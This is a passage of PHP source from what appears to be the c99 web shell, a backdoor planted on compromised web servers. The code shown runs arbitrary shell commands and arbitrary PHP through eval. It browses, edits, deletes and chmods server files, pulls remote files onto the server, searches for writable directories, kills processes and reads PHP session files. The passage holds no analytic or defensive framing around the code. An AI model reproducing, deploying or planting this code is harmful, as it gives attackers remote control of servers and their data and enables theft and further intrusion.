  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.
</center>";}
}
else {
  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox);
c99_sess_put($sess_data); $act = "ls"; }
  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox);
c99_sess_put($sess_data); $act = "ls";}
```

```
  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox))
{unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if
(in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array();
c99_sess_put($sess_data);}
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."<br>";}
      unset($sess_data["cut"][$k]);
    }
    c99_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $act = "ls";
  }
  elseif ($actarcbuff) {
    $arcerr = "";
    if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
    else {$ext = ".tar.gz";}
    if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
    $cmdline .= " ".$actarcbuff_path;
    $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
    foreach($objects as $v) {
      $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
      if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
      if (is_dir($v)) {
        if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
        $v .= "*";
      }
      $cmdline .= " ".$v;
    }
    $tmp = realpath(".");
    chdir($d);
```

```
    $ret = myshellexec($cmdline);
    chdir($tmp);
    if (empty($ret)) {$arcerr .= "Can't call archivator
("".htmlspecialchars(str2mini($cmdline,60))."")!<br>";}
    $ret = str_replace("\r\n","\n",$ret);
    $ret = explode("\n",$ret);
    if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
    foreach($sess_data["cut"] as $k=>$v) {
      if (in_array($v,$ret)) {fs_rmobj($v);}
      unset($sess_data["cut"][$k]);
    }
    c99_sess_put($sess_data);
    if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
    $act = "ls";
  }
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."<br>";}
      unset($sess_data["cut"][$k]);
    }
    c99_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $act = "ls";
  }
}
if ($act == "cmd") {
  @chdir($chdir);
  if (!empty($submit)) {
    echo "<div>.: Result of Command Execution :.</div>";
    $olddir = realpath(".");
    @chdir($d);
    $ret = myshellexec($cmd);
```

```
    $ret = convert_cyr_string($ret,"d","w");
    if ($cmd_txt) {
      $rows = count(explode("\r\n",$ret))+1;
      if ($rows < 10) {$rows = 10; }
      if ($msie) { $cols = 113; }
      else { $cols = 117;}
      //echo "<textarea cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."
</textarea>";
      echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
    }
    else {echo $ret."<br>";}
    @chdir($olddir);
  }
  else {
    echo "<b>Command Execution</b>";
    if (empty($cmd_txt)) {$cmd_txt = TRUE;}
  }
}
if ($act == "ls") {
  if (count($ls_arr) > 0) { $list = $ls_arr; }
  else {
    $list = array();
    if ($h = @opendir($d)) {
      while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
      closedir($h);
    }
  }
  if (count($list) == 0) { echo "<div>Can't open folder (".htmlspecialchars($d).")!</div>";}
  else {
    $objects = array();
    $vd = "f"; //Viewing mode
    if ($vd == "f") {
      $objects["head"] = array();
      $objects["folders"] = array();
      $objects["links"] = array();
      $objects["files"] = array();
      foreach ($list as $v) {
        $o = basename($v);
        $row = array();
```

```
      if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
      elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
      elseif (is_dir($v)) {
        if (is_link($v)) {$type = "LINK";}
        else {$type = "DIR";}
        $row[] = $v;
        $row[] = $type;
      }
      elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
      $row[] = filemtime($v);
      if (!$win) {
        $ow = posix_getpwuid(fileowner($v));
        $gr = posix_getgrgid(filegroup($v));
        $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?
$gr["name"]:filegroup($v));
      }
      $row[] = fileperms($v);
      if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
      elseif (is_link($v)) {$objects["links"][] = $row;}
      elseif (is_dir($v)) {$objects["folders"][] = $row;}
      elseif (is_file($v)) {$objects["files"][] = $row;}
      $i++;
    }
    $row = array();
    $row[] = "<b>Name</b>";
    $row[] = "<b>Size</b>";
    $row[] = "<b>Date Modified</b>";
    if (!$win) {$row[] = "<b>Owner/Group</b>";}
    $row[] = "<b>Perms</b>";
    $row[] = "<b>Action</b>";
    $parsesort = parsesort($sort);
    $sort = $parsesort[0].$parsesort[1];
    $k = $parsesort[0];
    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
    $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] ==
"a"?"d":"a")."\">";
    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\"
width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
    $row[$k] .= $y;
```

```
    for($i=0;$i<count($row)-1;$i++) {
      if ($i != $k) {$row[$i] = "<a
href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."
</a>";}
    }
    $v = $parsesort[0];
    usort($objects["folders"], "tabsort");
    usort($objects["links"], "tabsort");
    usort($objects["files"], "tabsort");
    if ($parsesort[1] == "d") {
      $objects["folders"] = array_reverse($objects["folders"]);
      $objects["files"] = array_reverse($objects["files"]);
    }
    $objects =
array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
    $tab = array();
    $tab["cols"] = array($row);
    $tab["head"] = array();
    $tab["folders"] = array();
    $tab["links"] = array();
    $tab["files"] = array();
    $i = 0;
    foreach ($objects as $a) {
      $v = $a[0];
      $o = basename($v);
      $dir = dirname($v);
      if ($disp_fullpath) {$disppath = $v;}
      else {$disppath = $o;}
      $disppath = str2mini($disppath,60);
      if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
      elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
      foreach ($regxp_highlight as $r) {
        if (ereg($r[0],$o)) {
          if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning!
Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
          else {
            $r[1] = round($r[1]);
            $isdir = is_dir($v);
            if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
```

```
            if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
            $disppath = $r[2].$disppath.$r[3];
            if ($r[4]) {break;}
          }
        }
      }
      $uo = urlencode($o);
      $ud = urlencode($dir);
      $uv = urlencode($v);
      $row = array();
      if ($o == ".") {
        $row[] = "<a
href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img
src=\"".$surl."act=img&img=small_dir\" border=\"0\"> ".$o."</a>";
        $row[] = "CURDIR";
      }
      elseif ($o == "..") {
        $row[] = "<a
href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img
src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
        $row[] = "UPDIR";
      }
      elseif (is_dir($v)) {
        if (is_link($v)) {
          $disppath .= " => ".readlink($v);
          $type = "LINK";
          $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img
src=\"".$surl."act=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
        }
        else {
          $type = "DIR";
          $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img
src=\"".$surl."act=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
        }
        $row[] = $type;
      }
      elseif(is_file($v)) {
        $ext = explode(".",$o);
```

```
        $c = count($ext)-1;
        $ext = $ext[$c];
        $ext = strtolower($ext);
        $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img
src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
        $row[] = view_size($a[1]);
       }
       $row[] = date("d.m.Y H:i:s",$a[2]);
       if (!$win) {$row[] = $a[3];}
       $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\">
<b>".view_perms_color($v)."</b></a>";
       if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\"
onclick=\"ls_reverse_all();\">"; $i--;}
       else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\"
value=\"".htmlspecialchars($v)."\">";}
       if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img
src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
       else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img
src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\">
</a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img
src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\">
</a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img
src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\">
</a> ".$checkbox;}
       if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
       elseif (is_link($v)) {$tab["links"][] = $row;}
       elseif (is_dir($v)) {$tab["folders"][] = $row;}
       elseif (is_file($v)) {$tab["files"][] = $row;}
       $i++;
     }
   }
   // Compiling table
   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
   echo "<div>.: ";
   if (!empty($yx_infohead)) { echo $yx_infohead; }
   else { echo "Directory List (".count($tab["files"])." files and ".
(count($tab["folders"])+count($tab["links"]))." folders)"; }
   echo " :.</div>\n";
   echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden
```

```
name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
        "<table>";
    foreach($table as $row) {
      echo "<tr>";
      foreach($row as $v) {echo "<td>".$v."</td>";}
      echo "</tr>\r\n";
    }
    echo "</table>".
        "<script>".
        "function ls_setcheckboxall(status) {".
        " var id = 1; var num = ".(count($table)-2).";".
        " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
        "}".
        "function ls_reverse_all() {".
        " var id = 1; var num = ".(count($table)-2).";".
        " while (id <= num) { document.getElementById('actbox'+id).checked =
!document.getElementById('actbox'+id).checked; id++; }".
        "}".
        "</script>".
        "<div align=\"right\">".
        "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select
all\">  <input type=\"button\" onclick=\"ls_setcheckboxall(false);\"
value=\"Unselect all\">".
        "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
    if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
      echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input
type=\"text\" name=\"actarcbuff_path\"
value=\"yx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">  &nb
sp;   <input type=submit name=\"actpastebuff\"
value=\"Paste\">      <input type=submit
name=\"actemptybuff\" value=\"Empty buffer\">     ";
    }
    echo "<select name=act><option value=\"".$act."\">With selected:</option>";
    echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
    echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-
mode</option>";
    if ($usefsbuff) {
      echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
      echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
```

```
      echo "<option value=unselect".($dspact == "unselect"?"
selected":"").">Unselect</option>";
    }
    echo "</select> <input type=submit value=\"Confirm\"></div>";
    echo "</form>";
  }
}
if ($act == "tools") //Define Yourself
{

}
if ($act == "phpfsys") {
  echo "<div align=left>";
  $fsfunc = $phpfsysfunc;
  if ($fsfunc=="copy") {
    if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
    else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  }
  elseif ($fsfunc=="rename") {
    if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
    else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  }
  elseif ($fsfunc=="chmod") {
    if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
    else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  }
  elseif ($fsfunc=="read") {
    $hasil = @file_get_contents($arg1);
    echo "<b>Filename:</b> $arg1<br>";
    echo "<textarea cols=150 rows=20>";
    echo $hasil;
    echo "</textarea>\n";
  }
  elseif ($fsfunc=="write") {
    if(@file_put_contents($d.$arg1,$arg2)) {
      echo "<b>Saved!</b> ".$d.$arg1;
    }
    else { echo "<div>Couldn't write to $arg1!</div>"; }
  }
```

```
  elseif ($fsfunc=="downloadbin") {
    $handle = fopen($arg1, "rb");
    $contents = '';
    while (!feof($handle)) {
      $contents .= fread($handle, 8192);
    }
    $r = @fopen($d.$arg2,'w');
    if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2."
(".view_size(filesize($d.$arg2)).")"; }
    else { echo "<div>Couldn't write to ".$d.$arg2."</div>"; }
    fclose($r);
    fclose($handle);
  }
  elseif ($fsfunc=="download") {
    $text = implode('', file($arg1));
    if ($text) {
      $r = @fopen($d.$arg2,'w');
      if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2."
(".view_size(filesize($d.$arg2)).")"; }
      else { echo "<div>Couldn't write to ".$d.$arg2."</div>"; }
      fclose($r);
    }
    else { echo "<div>Couldn't download from $arg1!</div>";}
  }
  elseif ($fsfunc=='mkdir') {
    $thedir = $d.$arg1;
    if ($thedir != $d) {
      if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
      elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
      else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
    }
    else { echo "Couldn't create current dir:<b> $thedir</b>"; }
  }
  elseif ($fsfunc=='fwritabledir') {
    function recurse_dir($dir,$max_dir) {
      global $dir_count;
      $dir_count++;
      if( $cdir = @dir($dir) ) {
        while( $entry = $cdir-> read() ) {
```

```
        if( $entry != '.' && $entry != '..' ) {
          if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
           if ($dir_count > $max_dir) { return; }
            echo "[".$dir_count."] ".$dir.$entry."\n";
            recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
          }
        }
      }
      $cdir->close();
    }
  }
  if (!$arg1) { $arg1 = $d; }
  if (!$arg2) { $arg2 = 10; }
  echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
  echo "<pre>";
  recurse_dir($arg1,$arg2);
  echo "</pre>";
  $total = $dir_count - 1;
  echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
 }
 else {
  if (!$arg1) { echo "<div>No operation! Please fill parameter [A]!</div>\n"; }
  else {
    if ($hasil = $fsfunc($arg1)) {
      echo "<b>Result of $fsfunc $arg1:</b><br>";
      if (!is_array($hasil)) { echo "$hasil\n"; }
      else {
        echo "<pre>";
        foreach ($hasil as $v) { echo $v."\n"; }
        echo "</pre>";
      }
    }
    else { echo "<div>$fsfunc $arg1 failed!</div>\n"; }
  }
 }
 echo "</div>\n";
}
if ($act == "processes") {
 echo "<div>.: Processes :.</div>";
```

```
  if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
  else { $handler = "tasklist"; }
  $ret = myshellexec($handler);
  if (!$ret) { echo "Can't execute \"".$handler."\""; }
  else {
    if (empty($processes_sort)) {$processes_sort = $sort_default;}
    $parsesort = parsesort($processes_sort);
    if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
    $k = $parsesort[0];
    if ($parsesort[1] != "a") {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">
<img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
    }
    else {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">
<img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
    }
    $ret = htmlspecialchars($ret);
    if (!$win) {
      if ($pid) {
        if (is_null($sig)) {$sig = 9;}
        echo "Sending signal ".$sig." to #".$pid."... ";
        if (posix_kill($pid,$sig)) {echo "OK.";}
        else {echo "ERROR.";}
      }
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
      $stack = explode("\n",$ret);
      $head = explode(" ",$stack[0]);
      unset($stack[0]);
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) {$head[$i] = "<a
href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\">
<b>".$head[$i]."</b></a>";}
      }
      $prcs = array();
      foreach ($stack as $line) {
        if (!empty($line)) {
          echo "<tr>";
          $line = explode(" ",$line);
```

```
        $line[10] = join(" ",array_slice($line,10));
        $line = array_slice($line,0,11);
        if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
        $line[] = "<a
href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u>
</a>";
        $prcs[] = $line;
        echo "</tr>";
       }
     }
   }
   //For Windows - Fixed By FaTaLisTiCz_yx
   else {
     while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
     while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
     $ret = convert_cyr_string($ret,"d","w");
     $stack = explode("\n",$ret);
     unset($stack[0],$stack[2]);
     $stack = array_values($stack);
     $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
     $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
     $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
     $head = explode(" ",$stack[0]);
     $stack = array_slice($stack,1);
     $head = array_values($head);
     if ($parsesort[1] != "a") { $y = "<a
href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img
src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
     else { $y = "<a
href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img
src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
     if ($k > count($head)) {$k = count($head)-1;}
     for($i=0;$i<count($head);$i++) {
       if ($i != $k) { $head[$i] = "<a
href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\">
<b>".trim($head[$i])."</b></a>"; }
     }
     $prcs = array();
     unset($stack[0]);
```

```
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[4] = str_replace(".","",$line[4]);
          $line[4] = intval($line[4]) * 1024;
          unset($line[5]);
          $prcs[] = $line;
        }
      }
    }
    $head[$k] = "<b>".$head[$k]."</b>".$y;
    $v = $processes_sort[0];
    usort($prcs,"tabsort");
    if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
    $tab = array();
    $tab[] = $head;
    $tab = array_merge($tab,$prcs);
    echo "<table>";
    foreach($tab as $i=>$k) {
      echo "<tr>";
      foreach($k as $j=>$v) {
        if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
        echo "<td>".$v."</td>";
      }
      echo "</tr>";
    }
    echo "</table>";
  }
}
if ($act == "eval") {
  if (!empty($eval)) {
    echo "Result of execution this PHP-code:<br>";
    $tmp = ob_get_contents();
    $olddir = realpath(".");
    @chdir($d);
    if ($tmp) {
      ob_clean();
      eval($eval);
      $ret = ob_get_contents();
```

```
      $ret = convert_cyr_string($ret,"d","w");
      ob_clean();
      echo $tmp;
      if ($eval_txt) {
        $rows = count(explode("\r\n",$ret))+1;
        if ($rows < 10) {$rows = 10;}
        echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."
</textarea>";
      }
      else {echo $ret."<br>";}
    }
    else {
      if ($eval_txt) {
        echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
        eval($eval);
        echo "</textarea>";
      }
      else {echo $ret;}
    }
    @chdir($olddir);
  }
  else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt))
{$eval_txt = TRUE;}}
  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval>
<textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input
type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit
value=\"Execute\"> Display in text-area <input type=\"checkbox\"
name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f") {
  echo "<div align=left>";
  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
    if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b>
</center>";}
    else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u>
</a></center>";}
  }
  else {
```

```
    $r = @file_get_contents($d.$f);
    $ext = explode(".",$f);
    $c = count($ext)-1;
    $ext = $ext[$c];
    $ext = strtolower($ext);
    $rft = "";
    foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
    if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
    if (empty($ft)) {$ft = $rft;}
    $arr = array(
        array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
        array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
        array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
        array("Code","code"),
        array("Session","phpsess"),
        array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
        array("SDB","sdb"),
        array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
        array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
        array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
        array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
        array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
    );
    echo "<b>Viewing file:    <img
src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f."
(".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
</b><br>Select action/file-type:<br>";
    foreach($arr as $t) {
      if ($t[1] == $rft) {echo " <a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font
color=green>".$t[0]."</font></a>";}
      elseif ($t[1] == $ft) {echo " <a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u>
</b></a>";}
      else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\">
<b>".$t[0]."</b></a>";}
      echo " (<a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\"
target=\"_blank\">+</a>) |";
```

```
    }
    echo "<hr size=\"1\" noshade>";
    if ($ft == "info") {
      echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td>
<b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td>
".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td>
</tr>";
      if (!$win) {
        echo "<tr><td><b>Owner/Group</b></td><td> ";
        $ow = posix_getpwuid(fileowner($d.$f));
        $gr = posix_getgrgid(filegroup($d.$f));
        echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?
$gr["name"]:filegroup($d.$f));
      }
      echo "<tr><td><b>Perms</b></td><td><a
href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f
)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."
</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td>
</tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>
</table>";
      $fi = fopen($d.$f,"rb");
      if ($fi) {
        if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
        else {echo "<b>HEXDUMP PREVIEW</b>"; $str =
fread($fi,$hexdump_lines*$hexdump_rows);}
        $n = 0;
        $a0 = "00000000<br>";
        $a1 = "";
        $a2 = "";
        for ($i=0; $i<strlen($str); $i++) {
          $a1 .= sprintf("%02X",ord($str[$i]))." ";
          switch (ord($str[$i])) {
            case 0:  $a2 .= "<font>0</font>"; break;
            case 32:
            case 10:
            case 13: $a2 .= " "; break;
            default: $a2 .= htmlspecialchars($str[$i]);
          }
          $n++;
```

```
      if ($n == $hexdump_rows) {
        $n = 0;
        if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
        $a1 .= "<br>";
        $a2 .= "<br>";
      }
    }
    echo "<table border=1 bgcolor=#666666>".
        "<tr><td bgcolor=#666666>".$a0."</td>".
        "<td bgcolor=#000000>".$a1."</td>".
        "<td bgcolor=#000000>".$a2."</td>".
        "</tr></table><br>";
  }
  $encoded = "";
  if ($base64 == 1) {
    echo "<b>Base64 Encode</b><br>";
    $encoded = base64_encode(file_get_contents($d.$f));
  }
  elseif($base64 == 2) {
    echo "<b>Base64 Encode + Chunk</b><br>";
    $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  }
  elseif($base64 == 3) {
    echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
    $encoded = base64_encode(file_get_contents($d.$f));
    $encoded = substr(preg_replace(".{1,76}!","'\\0'.\n",$encoded),0,-2);
  }
  elseif($base64 == 4) {
    $text = file_get_contents($d.$f);
    $encoded = base64_decode($text);
    echo "<b>Base64 Decode";
 if (base64_encode($encoded) != $text) {echo " (failed)";}
 echo "</b><br>";
}
if (!empty($encoded))
{
 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
}
echo "<b>HEXDUMP:</b><nobr> [<a
```

```
href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a
>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]
<br><b>Base64: </b>
        <nobr>[<a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>
] </nobr>
        <nobr>[<a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]
 </nobr>
        <nobr>[<a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quo
tes</a>] </nobr>
        <nobr>[<a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>
] </nobr>
        <P>";
  }
  elseif ($ft == "html") {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {c99shexit();}
  }
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  elseif ($ft == "phpsess") {
   echo "<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br>";
   var_dump(unserialize($v[1]));
   echo "</pre>";
  }
  elseif ($ft == "exe") {
   $ext = explode(".",$f);
   $c = count($ext)-1;
   $ext = $ext[$c];
   $ext = strtolower($ext);
   $rft = "";
   foreach($exeftypes as $k=>$v)
   {
```

```
